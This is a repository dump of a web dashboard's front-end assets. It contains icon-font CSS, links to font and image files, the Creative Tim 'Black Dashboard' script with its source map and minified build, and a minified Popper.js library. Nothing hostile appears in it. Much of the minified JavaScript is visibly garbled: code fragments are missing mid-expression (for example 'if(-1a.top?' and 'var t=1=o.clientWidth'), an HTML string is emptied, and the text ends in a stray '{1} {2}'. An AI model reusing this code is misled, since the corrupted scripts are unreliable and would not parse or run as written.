.icon-tag::before { 465 | content: "\ea50"; 466 | } 467 | 468 | .icon-tap-02::before { 469 | content: "\ea51"; 470 | } 471 | 472 | .icon-tie-bow::before { 473 | content: "\ea52"; 474 | } 475 | 476 | .icon-time-alarm::before { 477 | content: "\ea53"; 478 | } 479 | 480 | .icon-trash-simple::before { 481 | content: "\ea54"; 482 | } 483 | 484 | .icon-triangle-right-17::before { 485 | content: "\ea55"; 486 | } 487 | 488 | .icon-trophy::before { 489 | content: "\ea56"; 490 | } 491 | 492 | .icon-tv-2::before { 493 | content: "\ea57"; 494 | } 495 | 496 | .icon-upload::before { 497 | content: "\ea58"; 498 | } 499 | 500 | .icon-user-run::before { 501 | content: "\ea59"; 502 | } 503 | 504 | .icon-vector::before { 505 | content: "\ea5a"; 506 | } 507 | 508 | .icon-video-66::before { 509 | content: "\ea5b"; 510 | } 511 | 512 | .icon-volume-98::before { 513 | content: "\ea5c"; 514 | } 515 | 516 | .icon-wallet-43::before { 517 | content: "\ea5d"; 518 | } 519 | 520 | .icon-watch-time::before { 521 | content: "\ea5e"; 522 | } 523 | 524 | .icon-wifi::before { 525 | content: "\ea5f"; 526 | } 527 | 528 | .icon-world::before { 529 | content: "\ea60"; 530 | } 531 | 532 | .icon-zoom-split::before { 533 | content: "\ea61"; 534 | } 535 | 536 | .icon-refresh-01::before { 537 | content: "\ea62"; 538 | } 539 | 540 | .icon-refresh-02::before { 541 | content: "\ea63"; 542 | } 543 | 544 | .icon-shape-star::before { 545 | content: "\ea64"; 546 | } 547 | 548 | .icon-components::before { 549 | content: "\ea65"; 550 | } -------------------------------------------------------------------------------- /web/assets/fonts/nucleo.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/fonts/nucleo.eot -------------------------------------------------------------------------------- /web/assets/fonts/nucleo.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/fonts/nucleo.ttf -------------------------------------------------------------------------------- /web/assets/fonts/nucleo.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/fonts/nucleo.woff -------------------------------------------------------------------------------- /web/assets/fonts/nucleo.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/fonts/nucleo.woff2 -------------------------------------------------------------------------------- /web/assets/img/12345.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/12345.png -------------------------------------------------------------------------------- /web/assets/img/anime3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/anime3.png -------------------------------------------------------------------------------- /web/assets/img/anime6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/anime6.png -------------------------------------------------------------------------------- /web/assets/img/apple-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/apple-icon.png -------------------------------------------------------------------------------- /web/assets/img/bg5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/bg5.jpg -------------------------------------------------------------------------------- /web/assets/img/default-avatar.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/default-avatar.png -------------------------------------------------------------------------------- /web/assets/img/emilyz.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/emilyz.jpg -------------------------------------------------------------------------------- /web/assets/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/favicon.ico -------------------------------------------------------------------------------- /web/assets/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/favicon.png -------------------------------------------------------------------------------- /web/assets/img/header.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/header.jpg -------------------------------------------------------------------------------- /web/assets/img/img_3115.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/img_3115.jpg -------------------------------------------------------------------------------- /web/assets/img/james.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/james.jpg -------------------------------------------------------------------------------- /web/assets/img/mike.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/mike.jpg -------------------------------------------------------------------------------- /web/assets/img/now-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/now-logo.png -------------------------------------------------------------------------------- /web/assets/img/s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lolinekos/succubus/38096b822ea58d63f1a167e0e85e215487d0696a/web/assets/img/s.png -------------------------------------------------------------------------------- /web/assets/js/black-dashboard.js: -------------------------------------------------------------------------------- 1 | /*! 2 | 3 | ========================================================= 4 | * Black Dashboard - v1.0.1 5 | ========================================================= 6 | 7 | * Product Page: https://www.creative-tim.com/product/black-dashboard 8 | * Copyright 2019 Creative Tim (https://www.creative-tim.com) 9 | 10 | 11 | * Coded by Creative Tim 12 | 13 | ========================================================= 14 | 15 | * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 16 | 17 | */ 18 | 19 | var transparent = true; 20 | var transparentDemo = true; 21 | var fixedTop = false; 22 | 23 | var navbar_initialized = false; 24 | var backgroundOrange = false; 25 | var sidebar_mini_active = false; 26 | var toggle_initialized = false; 27 | 28 | var $html = $('html'); 29 | var $body = $('body'); 30 | var $navbar_minimize_fixed = $('.navbar-minimize-fixed'); 31 | var $collapse = $('.collapse'); 32 | var $navbar = $('.navbar'); 33 | var $tagsinput = $('.tagsinput'); 34 | var $selectpicker = $('.selectpicker'); 35 | var $navbar_color = $('.navbar[color-on-scroll]'); 36 | var $full_screen_map = $('.full-screen-map'); 37 | var $datetimepicker = $('.datetimepicker'); 38 | var $datepicker = $('.datepicker'); 39 | var $timepicker = $('.timepicker'); 40 | 41 | var seq = 0, 42 | delays = 80, 43 | durations = 500; 44 | var seq2 = 0, 45 | delays2 = 80, 46 | durations2 = 500; 47 | 48 | (function() { 49 | var isWindows = navigator.platform.indexOf('Win') > -1 ? true : false; 50 | 51 | if (isWindows) { 52 | // if we are on windows OS we activate the perfectScrollbar function 53 | if ($('.main-panel').length != 0) { 54 | var ps = new PerfectScrollbar('.main-panel', { 55 | wheelSpeed: 2, 56 | wheelPropagation: true, 57 | minScrollbarLength: 20, 58 | suppressScrollX: true 59 | }); 60 | } 61 | 62 | if ($('.sidebar .sidebar-wrapper').length != 0) { 63 | 64 | var ps1 = new PerfectScrollbar('.sidebar .sidebar-wrapper'); 65 | $('.table-responsive').each(function() { 66 | var ps2 = new PerfectScrollbar($(this)[0]); 67 | }); 68 | } 69 | 70 | 71 | 72 | $html.addClass('perfect-scrollbar-on'); 73 | } else { 74 | $html.addClass('perfect-scrollbar-off'); 75 | } 76 | })(); 77 | 78 | $(document).ready(function() { 79 | 80 | var scroll_start = 0; 81 | var startchange = $('.row'); 82 | var offset = startchange.offset(); 83 | var scrollElement = navigator.platform.indexOf('Win') > -1 ? $(".ps") : $(window); 84 | scrollElement.scroll(function() { 85 | 86 | scroll_start = $(this).scrollTop(); 87 | 88 | if (scroll_start > 50) { 89 | $(".navbar-minimize-fixed").css('opacity', '1'); 90 | } else { 91 | $(".navbar-minimize-fixed").css('opacity', '0'); 92 | } 93 | }); 94 | 95 | 96 | $(document).scroll(function() { 97 | scroll_start = $(this).scrollTop(); 98 | if (scroll_start > offset.top) { 99 | $(".navbar-minimize-fixed").css('opacity', '1'); 100 | } else { 101 | $(".navbar-minimize-fixed").css('opacity', '0'); 102 | } 103 | }); 104 | 105 | if ($('.full-screen-map').length == 0 && $('.bd-docs').length == 0) { 106 | // On click navbar-collapse the menu will be white not transparent 107 | $('.collapse').on('show.bs.collapse', function() { 108 | $(this).closest('.navbar').removeClass('navbar-transparent').addClass('bg-white'); 109 | }).on('hide.bs.collapse', function() { 110 | $(this).closest('.navbar').addClass('navbar-transparent').removeClass('bg-white'); 111 | }); 112 | } 113 | 114 | blackDashboard.initMinimizeSidebar(); 115 | 116 | $navbar = $('.navbar[color-on-scroll]'); 117 | scroll_distance = $navbar.attr('color-on-scroll') || 500; 118 | 119 | // Check if we have the class "navbar-color-on-scroll" then add the function to remove the class "navbar-transparent" so it will transform to a plain color. 120 | if ($('.navbar[color-on-scroll]').length != 0) { 121 | blackDashboard.checkScrollForTransparentNavbar(); 122 | $(window).on('scroll', blackDashboard.checkScrollForTransparentNavbar) 123 | } 124 | 125 | $('.form-control').on("focus", function() { 126 | $(this).parent('.input-group').addClass("input-group-focus"); 127 | }).on("blur", function() { 128 | $(this).parent(".input-group").removeClass("input-group-focus"); 129 | }); 130 | 131 | // Activate bootstrapSwitch 132 | $('.bootstrap-switch').each(function() { 133 | $this = $(this); 134 | data_on_label = $this.data('on-label') || ''; 135 | data_off_label = $this.data('off-label') || ''; 136 | 137 | $this.bootstrapSwitch({ 138 | onText: data_on_label, 139 | offText: data_off_label 140 | }); 141 | }); 142 | }); 143 | 144 | $(document).on('click', '.navbar-toggle', function() { 145 | var $toggle = $(this); 146 | 147 | if (blackDashboard.misc.navbar_menu_visible == 1) { 148 | $html.removeClass('nav-open'); 149 | blackDashboard.misc.navbar_menu_visible = 0; 150 | setTimeout(function() { 151 | $toggle.removeClass('toggled'); 152 | $('.bodyClick').remove(); 153 | }, 550); 154 | 155 | } else { 156 | setTimeout(function() { 157 | $toggle.addClass('toggled'); 158 | }, 580); 159 | 160 | var div = '
'; 161 | $(div).appendTo('body').click(function() { 162 | $html.removeClass('nav-open'); 163 | blackDashboard.misc.navbar_menu_visible = 0; 164 | setTimeout(function() { 165 | $toggle.removeClass('toggled'); 166 | $('.bodyClick').remove(); 167 | }, 550); 168 | }); 169 | 170 | $html.addClass('nav-open'); 171 | blackDashboard.misc.navbar_menu_visible = 1; 172 | } 173 | }); 174 | 175 | $(window).resize(function() { 176 | // reset the seq for charts drawing animations 177 | seq = seq2 = 0; 178 | 179 | if ($full_screen_map.length == 0 && $('.bd-docs').length == 0) { 180 | var isExpanded = $navbar.find('[data-toggle="collapse"]').attr("aria-expanded"); 181 | if ($navbar.hasClass('bg-white') && $(window).width() > 991) { 182 | $navbar.removeClass('bg-white').addClass('navbar-transparent'); 183 | } else if ($navbar.hasClass('navbar-transparent') && $(window).width() < 991 && isExpanded != "false") { 184 | $navbar.addClass('bg-white').removeClass('navbar-transparent'); 185 | } 186 | } 187 | }); 188 | 189 | blackDashboard = { 190 | misc: { 191 | navbar_menu_visible: 0 192 | }, 193 | 194 | initMinimizeSidebar: function() { 195 | if ($('.sidebar-mini').length != 0) { 196 | sidebar_mini_active = true; 197 | } 198 | 199 | $('#minimizeSidebar').click(function() { 200 | var $btn = $(this); 201 | 202 | if (sidebar_mini_active == true) { 203 | $('body').removeClass('sidebar-mini'); 204 | sidebar_mini_active = false; 205 | blackDashboard.showSidebarMessage('Sidebar mini deactivated...'); 206 | } else { 207 | $('body').addClass('sidebar-mini'); 208 | sidebar_mini_active = true; 209 | blackDashboard.showSidebarMessage('Sidebar mini activated...'); 210 | } 211 | 212 | // we simulate the window Resize so the charts will get updated in realtime. 213 | var simulateWindowResize = setInterval(function() { 214 | window.dispatchEvent(new Event('resize')); 215 | }, 180); 216 | 217 | // we stop the simulation of Window Resize after the animations are completed 218 | setTimeout(function() { 219 | clearInterval(simulateWindowResize); 220 | }, 1000); 221 | }); 222 | }, 223 | 224 | showSidebarMessage: function(message) { 225 | try { 226 | $.notify({ 227 | icon: "tim-icons ui-1_bell-53", 228 | message: message 229 | }, { 230 | type: 'info', 231 | timer: 4000, 232 | placement: { 233 | from: 'top', 234 | align: 'right' 235 | } 236 | }); 237 | } catch (e) { 238 | console.log('Notify library is missing, please make sure you have the notifications library added.'); 239 | } 240 | 241 | } 242 | 243 | }; 244 | 245 | function hexToRGB(hex, alpha) { 246 | var r = parseInt(hex.slice(1, 3), 16), 247 | g = parseInt(hex.slice(3, 5), 16), 248 | b = parseInt(hex.slice(5, 7), 16); 249 | 250 | if (alpha) { 251 | return "rgba(" + r + ", " + g + ", " + b + ", " + alpha + ")"; 252 | } else { 253 | return "rgb(" + r + ", " + g + ", " + b + ")"; 254 | } 255 | } -------------------------------------------------------------------------------- /web/assets/js/black-dashboard.js.map: -------------------------------------------------------------------------------- 1 | {"version":3,"sources":["_site_dashboard_free/assets/js/dashboard-free.js"],"names":["transparent","transparentDemo","fixedTop","navbar_initialized","backgroundOrange","sidebar_mini_active","toggle_initialized","$html","$","$body","$navbar_minimize_fixed","$collapse","$navbar","$tagsinput","$selectpicker","$navbar_color","$full_screen_map","$datetimepicker","$datepicker","$timepicker","seq","delays","durations","seq2","delays2","durations2","hexToRGB","hex","alpha","r","parseInt","slice","g","b","navigator","platform","indexOf","length","PerfectScrollbar","wheelSpeed","wheelPropagation","minScrollbarLength","suppressScrollX","each","this","addClass","document","ready","offset","window","scroll","scrollTop","css","top","on","closest","removeClass","blackDashboard","initMinimizeSidebar","scroll_distance","attr","checkScrollForTransparentNavbar","parent","$this","data_on_label","data","data_off_label","bootstrapSwitch","onText","offText","$toggle","misc","navbar_menu_visible","setTimeout","remove","appendTo","click","resize","isExpanded","find","hasClass","width","showSidebarMessage","simulateWindowResize","setInterval","dispatchEvent","Event","clearInterval","message","notify","icon","type","timer","placement","from","align","e","console","log"],"mappings":"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"} -------------------------------------------------------------------------------- /web/assets/js/black-dashboard.min.js: -------------------------------------------------------------------------------- 1 | var transparent=!0,transparentDemo=!0,fixedTop=!1,navbar_initialized=!1,backgroundOrange=!1,sidebar_mini_active=!1,toggle_initialized=!1,$html=$("html"),$body=$("body"),$navbar_minimize_fixed=$(".navbar-minimize-fixed"),$collapse=$(".collapse"),$navbar=$(".navbar"),$tagsinput=$(".tagsinput"),$selectpicker=$(".selectpicker"),$navbar_color=$(".navbar[color-on-scroll]"),$full_screen_map=$(".full-screen-map"),$datetimepicker=$(".datetimepicker"),$datepicker=$(".datepicker"),$timepicker=$(".timepicker"),seq=0,delays=80,durations=500,seq2=0,delays2=80,durations2=500;function hexToRGB(a,e){var i=parseInt(a.slice(1,3),16),n=parseInt(a.slice(3,5),16),s=parseInt(a.slice(5,7),16);return e?"rgba("+i+", "+n+", "+s+", "+e+")":"rgb("+i+", "+n+", "+s+")"}!function(){if(-1a.top?$(".navbar-minimize-fixed").css("opacity","1"):$(".navbar-minimize-fixed").css("opacity","0")}),0==$(".full-screen-map").length&&0==$(".bd-docs").length&&$(".collapse").on("show.bs.collapse",function(){$(this).closest(".navbar").removeClass("navbar-transparent").addClass("bg-white")}).on("hide.bs.collapse",function(){$(this).closest(".navbar").addClass("navbar-transparent").removeClass("bg-white")}),blackDashboard.initMinimizeSidebar(),$navbar=$(".navbar[color-on-scroll]"),scroll_distance=$navbar.attr("color-on-scroll")||500,0!=$(".navbar[color-on-scroll]").length&&(blackDashboard.checkScrollForTransparentNavbar(),$(window).on("scroll",blackDashboard.checkScrollForTransparentNavbar)),$(".form-control").on("focus",function(){$(this).parent(".input-group").addClass("input-group-focus")}).on("blur",function(){$(this).parent(".input-group").removeClass("input-group-focus")}),$(".bootstrap-switch").each(function(){$this=$(this),data_on_label=$this.data("on-label")||"",data_off_label=$this.data("off-label")||"",$this.bootstrapSwitch({onText:data_on_label,offText:data_off_label})})}),$(document).on("click",".navbar-toggle",function(){var a=$(this);if(1==blackDashboard.misc.navbar_menu_visible)$html.removeClass("nav-open"),blackDashboard.misc.navbar_menu_visible=0,setTimeout(function(){a.removeClass("toggled"),$(".bodyClick").remove()},550);else{setTimeout(function(){a.addClass("toggled")},580);$('
').appendTo("body").click(function(){$html.removeClass("nav-open"),blackDashboard.misc.navbar_menu_visible=0,setTimeout(function(){a.removeClass("toggled"),$(".bodyClick").remove()},550)}),$html.addClass("nav-open"),blackDashboard.misc.navbar_menu_visible=1}}),$(window).resize(function(){if(seq=seq2=0,0==$full_screen_map.length&&0==$(".bd-docs").length){var a=$navbar.find('[data-toggle="collapse"]').attr("aria-expanded");$navbar.hasClass("bg-white")&&991<$(window).width()?$navbar.removeClass("bg-white").addClass("navbar-transparent"):$navbar.hasClass("navbar-transparent")&&$(window).width()<991&&"false"!=a&&$navbar.addClass("bg-white").removeClass("navbar-transparent")}}),blackDashboard={misc:{navbar_menu_visible:0},initMinimizeSidebar:function(){0!=$(".sidebar-mini").length&&(sidebar_mini_active=!0),$("#minimizeSidebar").click(function(){$(this);1==sidebar_mini_active?($("body").removeClass("sidebar-mini"),sidebar_mini_active=!1,blackDashboard.showSidebarMessage("Sidebar mini deactivated...")):($("body").addClass("sidebar-mini"),sidebar_mini_active=!0,blackDashboard.showSidebarMessage("Sidebar mini activated..."));var a=setInterval(function(){window.dispatchEvent(new Event("resize"))},180);setTimeout(function(){clearInterval(a)},1e3)})},showSidebarMessage:function(a){try{$.notify({icon:"tim-icons ui-1_bell-53",message:a},{type:"info",timer:4e3,placement:{from:"top",align:"right"}})}catch(a){console.log("Notify library is missing, please make sure you have the notifications library added.")}}}; 2 | //# sourceMappingURL=_site_dashboard_free/assets/js/dashboard-free.js.map -------------------------------------------------------------------------------- /web/assets/js/core/popper.min.js: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) Federico Zivolo 2017 3 | Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). 4 | */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=window.getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e||-1!==['HTML','BODY','#document'].indexOf(e.nodeName))return window.document.body;var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:window.document.documentElement}function p(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||r(e.firstElementChild)===e)}function s(e){return null===e.parentNode?e:s(e.parentNode)}function d(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return window.document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,i=o?e:t,n=o?t:e,a=document.createRange();a.setStart(i,0),a.setEnd(n,0);var f=a.commonAncestorContainer;if(e!==f&&t!==f||i.contains(n))return p(f)?f:r(f);var l=s(e);return l.host?d(l.host,t):d(e,s(t).host)}function a(e){var t=1=o.clientWidth&&i>=o.clientHeight}),f=0i[e]&&!t.escapeWithReference&&(n=z(p[o],i[e]-('right'===e?p.width:p.height))),pe({},o,n)}};return n.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';p=se({},p,s[t](e))}),e.offsets.popper=p,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,i=t.reference,n=e.placement.split('-')[0],r=V,p=-1!==['top','bottom'].indexOf(n),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(i[s])&&(e.offsets.popper[d]=r(i[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,t){if(!F(e.instance.modifiers,'arrow','keepTogether'))return e;var o=t.element;if('string'==typeof o){if(o=e.instance.popper.querySelector(o),!o)return e;}else if(!e.instance.popper.contains(o))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var i=e.placement.split('-')[0],n=e.offsets,r=n.popper,p=n.reference,s=-1!==['left','right'].indexOf(i),d=s?'height':'width',a=s?'top':'left',f=s?'left':'top',l=s?'bottom':'right',m=O(o)[d];p[l]-mr[l]&&(e.offsets.popper[a]+=p[a]+m-r[l]);var h=p[a]+p[d]/2-m/2,g=h-c(e.offsets.popper)[a];return g=_(z(r[d]-m,g),0),e.arrowElement=o,e.offsets.arrow={},e.offsets.arrow[a]=Math.round(g),e.offsets.arrow[f]='',e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=w(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement),i=e.placement.split('-')[0],n=L(i),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case fe.FLIP:p=[i,n];break;case fe.CLOCKWISE:p=K(i);break;case fe.COUNTERCLOCKWISE:p=K(i,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(i!==s||p.length===d+1)return e;i=e.placement.split('-')[0],n=L(i);var a=e.offsets.popper,f=e.offsets.reference,l=V,m='left'===i&&l(a.right)>l(f.left)||'right'===i&&l(a.left)l(f.top)||'bottom'===i&&l(a.top)l(o.right),g=l(a.top)l(o.bottom),b='left'===i&&h||'right'===i&&c||'top'===i&&g||'bottom'===i&&u,y=-1!==['top','bottom'].indexOf(i),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(i=p[d+1]),w&&(r=j(r)),e.placement=i+(r?'-'+r:''),e.offsets.popper=se({},e.offsets.popper,S(e.instance.popper,e.offsets.reference,e.placement)),e=N(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],i=e.offsets,n=i.popper,r=i.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return n[p?'left':'top']=r[t]-(s?n[p?'width':'height']:0),e.placement=L(t),e.offsets.popper=c(n),e}},hide:{order:800,enabled:!0,fn:function(e){if(!F(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=T(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.right {1} {2}
